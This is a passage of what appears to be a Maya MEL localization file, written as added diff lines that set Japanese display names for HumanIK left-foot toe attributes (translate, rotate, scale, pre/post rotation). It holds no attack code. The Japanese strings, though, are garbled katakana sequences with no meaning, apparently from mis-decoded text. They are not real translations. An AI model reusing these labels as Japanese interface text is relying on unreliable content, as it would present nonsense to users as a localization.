"HIKState2SK", "LeftFootThumb4PostRy", "ラスナエヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootThumb4PostRz", "ラスナエヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1T", "ラスナカヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Tx", "ラスナカヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Ty", "ラスナカヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Tz", "ラスナカヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1R", "ラスナカヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Rx", "ラスナカヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Ry", "ラスナカヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Rz", "ラスナカヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1S", "ラスナカヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Sx", "ラスナカヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Sy", "ラスナカヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1Sz", "ラスナカヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PGX", "ラスナカヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ROrder", "ラスナカヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1SC", "ラスナカヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1IS", "ラスナカヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ISx", "ラスナカヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ISy", "ラスナカヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1ISz", "ラスナカヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreR", "ラスナカヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreRx", "ラスナカヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreRy", "ラスナカヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PreRz", "ラスナカヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostR", "ラスナカヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostRx", "ラスナカヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostRy", "ラスナカヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex1PostRz", "ラスナカヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2T", "ラスナカヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Tx", "ラスナカヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Ty", "ラスナカヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Tz", "ラスナカヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2R", "ラスナカヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Rx", "ラスナカヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Ry", "ラスナカヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Rz", "ラスナカヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2S", "ラスナカヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Sx", "ラスナカヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Sy", "ラスナカヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2Sz", "ラスナカヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PGX", "ラスナカヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ROrder", "ラスナカヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2SC", "ラスナカヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2IS", "ラスナカヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ISx", "ラスナカヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ISy", "ラスナカヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2ISz", "ラスナカヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreR", "ラスナカヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreRx", "ラスナカヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreRy", "ラスナカヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PreRz", "ラスナカヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostR", "ラスナカヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostRx", "ラスナカヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostRy", "ラスナカヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex2PostRz", "ラスナカヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3T", "ラスナカヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Tx", "ラスナカヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Ty", "ラスナカヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Tz", "ラスナカヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3R", "ラスナカヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Rx", "ラスナカヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Ry", "ラスナカヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Rz", "ラスナカヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3S", "ラスナカヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Sx", "ラスナカヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Sy", "ラスナカヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3Sz", "ラスナカヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PGX", "ラスナカヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ROrder", "ラスナカヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3SC", "ラスナカヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3IS", "ラスナカヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ISx", "ラスナカヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ISy", "ラスナカヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3ISz", "ラスナカヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreR", "ラスナカヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreRx", "ラスナカヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreRy", "ラスナカヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PreRz", "ラスナカヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostR", "ラスナカヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostRx", "ラスナカヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostRy", "ラスナカヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex3PostRz", "ラスナカヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4T", "ラスナカヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Tx", "ラスナカヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Ty", "ラスナカヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Tz", "ラスナカヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4R", "ラスナカヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Rx", "ラスナカヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Ry", "ラスナカヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Rz", "ラスナカヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4S", "ラスナカヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Sx", "ラスナカヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Sy", "ラスナカヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4Sz", "ラスナカヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PGX", "ラスナカヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ROrder", "ラスナカヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4SC", "ラスナカヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4IS", "ラスナカヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ISx", "ラスナカヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ISy", "ラスナカヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4ISz", "ラスナカヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreR", "ラスナカヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreRx", "ラスナカヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreRy", "ラスナカヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PreRz", "ラスナカヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostR", "ラスナカヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostRx", "ラスナカヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostRy", "ラスナカヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootIndex4PostRz", "ラスナカヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1T", "ラスナヨミヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Tx", "ラスナヨミヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Ty", "ラスナヨミヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Tz", "ラスナヨミヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1R", "ラスナヨミヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Rx", "ラスナヨミヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Ry", "ラスナヨミヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Rz", "ラスナヨミヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1S", "ラスナヨミヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Sx", "ラスナヨミヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Sy", "ラスナヨミヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1Sz", "ラスナヨミヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PGX", "ラスナヨミヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ROrder", "ラスナヨミヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1SC", "ラスナヨミヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1IS", "ラスナヨミヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ISx", "ラスナヨミヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ISy", "ラスナヨミヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1ISz", "ラスナヨミヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreR", "ラスナヨミヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreRx", "ラスナヨミヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreRy", "ラスナヨミヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PreRz", "ラスナヨミヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostR", "ラスナヨミヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostRx", "ラスナヨミヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostRy", "ラスナヨミヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle1PostRz", "ラスナヨミヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2T", "ラスナヨミヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Tx", "ラスナヨミヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Ty", "ラスナヨミヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Tz", "ラスナヨミヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2R", "ラスナヨミヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Rx", "ラスナヨミヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Ry", "ラスナヨミヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Rz", "ラスナヨミヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2S", "ラスナヨミヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Sx", "ラスナヨミヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Sy", "ラスナヨミヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2Sz", "ラスナヨミヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PGX", "ラスナヨミヨコ 2 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ROrder", "ラスナヨミヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2SC", "ラスナヨミヨコ 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2IS", "ラスナヨミヨコ 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ISx", "ラスナヨミヨコ 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ISy", "ラスナヨミヨコ 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2ISz", "ラスナヨミヨコ 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreR", "ラスナヨミヨコ 2 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreRx", "ラスナヨミヨコ 2 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreRy", "ラスナヨミヨコ 2 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PreRz", "ラスナヨミヨコ 2 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostR", "ラスナヨミヨコ 2 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostRx", "ラスナヨミヨコ 2 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostRy", "ラスナヨミヨコ 2 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle2PostRz", "ラスナヨミヨコ 2 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3T", "ラスナヨミヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Tx", "ラスナヨミヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Ty", "ラスナヨミヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Tz", "ラスナヨミヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3R", "ラスナヨミヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Rx", "ラスナヨミヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Ry", "ラスナヨミヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Rz", "ラスナヨミヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3S", "ラスナヨミヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Sx", "ラスナヨミヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Sy", "ラスナヨミヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3Sz", "ラスナヨミヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PGX", "ラスナヨミヨコ 3 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ROrder", "ラスナヨミヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3SC", "ラスナヨミヨコ 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3IS", "ラスナヨミヨコ 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ISx", "ラスナヨミヨコ 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ISy", "ラスナヨミヨコ 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3ISz", "ラスナヨミヨコ 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreR", "ラスナヨミヨコ 3 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreRx", "ラスナヨミヨコ 3 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreRy", "ラスナヨミヨコ 3 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PreRz", "ラスナヨミヨコ 3 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostR", "ラスナヨミヨコ 3 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostRx", "ラスナヨミヨコ 3 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostRy", "ラスナヨミヨコ 3 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle3PostRz", "ラスナヨミヨコ 3 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4T", "ラスナヨミヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Tx", "ラスナヨミヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Ty", "ラスナヨミヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Tz", "ラスナヨミヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4R", "ラスナヨミヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Rx", "ラスナヨミヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Ry", "ラスナヨミヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Rz", "ラスナヨミヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4S", "ラスナヨミヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Sx", "ラスナヨミヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Sy", "ラスナヨミヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4Sz", "ラスナヨミヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PGX", "ラスナヨミヨコ 4 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ROrder", "ラスナヨミヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4SC", "ラスナヨミヨコ 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4IS", "ラスナヨミヨコ 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ISx", "ラスナヨミヨコ 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ISy", "ラスナヨミヨコ 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4ISz", "ラスナヨミヨコ 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreR", "ラスナヨミヨコ 4 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreRx", "ラスナヨミヨコ 4 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreRy", "ラスナヨミヨコ 4 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PreRz", "ラスナヨミヨコ 4 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostR", "ラスナヨミヨコ 4 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostRx", "ラスナヨミヨコ 4 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostRy", "ラスナヨミヨコ 4 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootMiddle4PostRz", "ラスナヨミヨコ 4 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1T", "ラスナヒトヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Tx", "ラスナヒトヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Ty", "ラスナヒトヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Tz", "ラスナヒトヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1R", "ラスナヒトヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Rx", "ラスナヒトヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Ry", "ラスナヒトヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Rz", "ラスナヒトヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1S", "ラスナヒトヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Sx", "ラスナヒトヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Sy", "ラスナヒトヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1Sz", "ラスナヒトヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PGX", "ラスナヒトヨコ 1 PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ROrder", "ラスナヒトヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1SC", "ラスナヒトヨコ 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1IS", "ラスナヒトヨコ 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ISx", "ラスナヒトヨコ 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ISy", "ラスナヒトヨコ 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1ISz", "ラスナヒトヨコ 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreR", "ラスナヒトヨコ 1 ミラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreRx", "ラスナヒトヨコ 1 ミラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreRy", "ラスナヒトヨコ 1 ミラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PreRz", "ラスナヒトヨコ 1 ミラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostR", "ラスナヒトヨコ 1 ミラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostRx", "ラスナヒトヨコ 1 ミラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostRy", "ラスナヒトヨコ 1 ミラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing1PostRz", "ラスナヒトヨコ 1 ミラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2T", "ラスナヒトヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Tx", "ラスナヒトヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Ty", "ラスナヒトヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Tz", "ラスナヒトヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2R", "ラスナヒトヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Rx", "ラスナヒトヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Ry", "ラスナヒトヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Rz", "ラスナヒトヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2S", "ラスナヒトヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftFootRing2Sx", "ラスナヒトヨコ 2 ヒキナx" ); 